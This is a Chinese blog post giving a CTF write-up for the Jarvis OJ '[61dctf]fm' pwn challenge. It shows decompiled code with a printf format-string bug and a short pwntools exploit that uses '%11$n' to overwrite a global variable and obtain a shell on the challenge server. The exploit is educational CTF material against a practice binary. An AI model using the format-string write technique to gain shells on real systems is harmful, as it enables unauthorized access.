当前位置:网站首页>[61dctf]fm
[61dctf]fm
2022-07-05 16:06:00 【[mzq]】
[61dctf]fm
附件地址 : https://dn.jarvisoj.com/challengefiles/fm.eaef2247796c11db798a579396482399
nc pwn2.jarvisoj.com 9895

checksec Canary found栈溢出行不通

main函数
在if判断了x的值,但是x的值是我们不可控制的,printf输出了&buf的值,这里是可以进行格式化字符串攻击的,而且if判断的是4 而$n可以输出4的int值到任意的地址中。

int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [esp+2Ch] [ebp-5Ch]
unsigned int v5; // [esp+7Ch] [ebp-Ch]
v5 = __readgsdword(0x14u);
be_nice_to_people();
memset(&buf, 0, 0x50u);
read(0, &buf, 0x50u);
printf(&buf);
printf("%d!\n", x);
if ( x == 4 )
{
puts("running sh...");
system("/bin/sh");
}
return 0;
}
可以看到输出aaaa的偏移量的11


通过动态调试,把x的值设置为0x4,运行后确实得到shell


exp

from pwn import *
io = process("./stack")
io = remote("pwn2.jarvisoj.com", 9895)
x_addr = 0x0804A02C
context(log_level="debug", arch="i386")
payload = flat([x_addr,'%11$n'])
io.sendline(payload)
io.interactive()
边栏推荐
- Android 隐私沙盒开发者预览版 3: 隐私安全和个性化体验全都要
- The new version of effect editor is online! 3D rendering, labeling, and animation, this time an editor is enough
- 漫画:什么是分布式事务?
- 降本40%!Redis多租户集群的容器化实践
- tf.sequence_mask函数讲解案例
- 漫画:什么是服务熔断?
- 效果编辑器新版上线!3D渲染、加标注、设置动画,这次一个编辑器就够了
- 《MongoDB入门教程》第04篇 MongoDB客户端
- ES6深入—async 函数 与 Symbol 类型
- Mongodb getting started Tutorial Part 04 mongodb client
猜你喜欢
随机推荐
Flet教程之 12 Stack 重叠组建图文混合 基础入门(教程含源码)
Detailed explanation of use scenarios and functions of polar coordinate sector diagram
有序链表集合求交集 方法 总结
PHP 严格模式
漫画:什么是蓝绿部署?
CISP-PTE之PHP伪协议总结
"21 days proficient in typescript-3" - install and build a typescript development environment md
Enterprise backup software Veritas NetBackup (NBU) 8.1.1 installation and deployment of server
【组队 PK 赛】本周任务已开启 | 答题挑战,夯实商品详情知识
养不起真猫,就用代码吸猫 -Unity 粒子实现画猫咪
Is it safe for Guotai Junan to open an account online
How does win11 change icons for applications? Win11 method of changing icons for applications
Use of set tag in SQL
文件操作--I/O
10分钟帮你搞定Zabbix监控平台告警推送到钉钉群
移动办公时如何使用frp内网穿透+teamviewer方式快速连入家中内网主机
《21天精通TypeScript-3》-安装搭建TypeScript开发环境.md
树莓派4b安装Pytorch1.11
Flet教程之 09 NavigationRail 基础入门(教程含源码)
单商户 V4.4,初心未变,实力依旧!








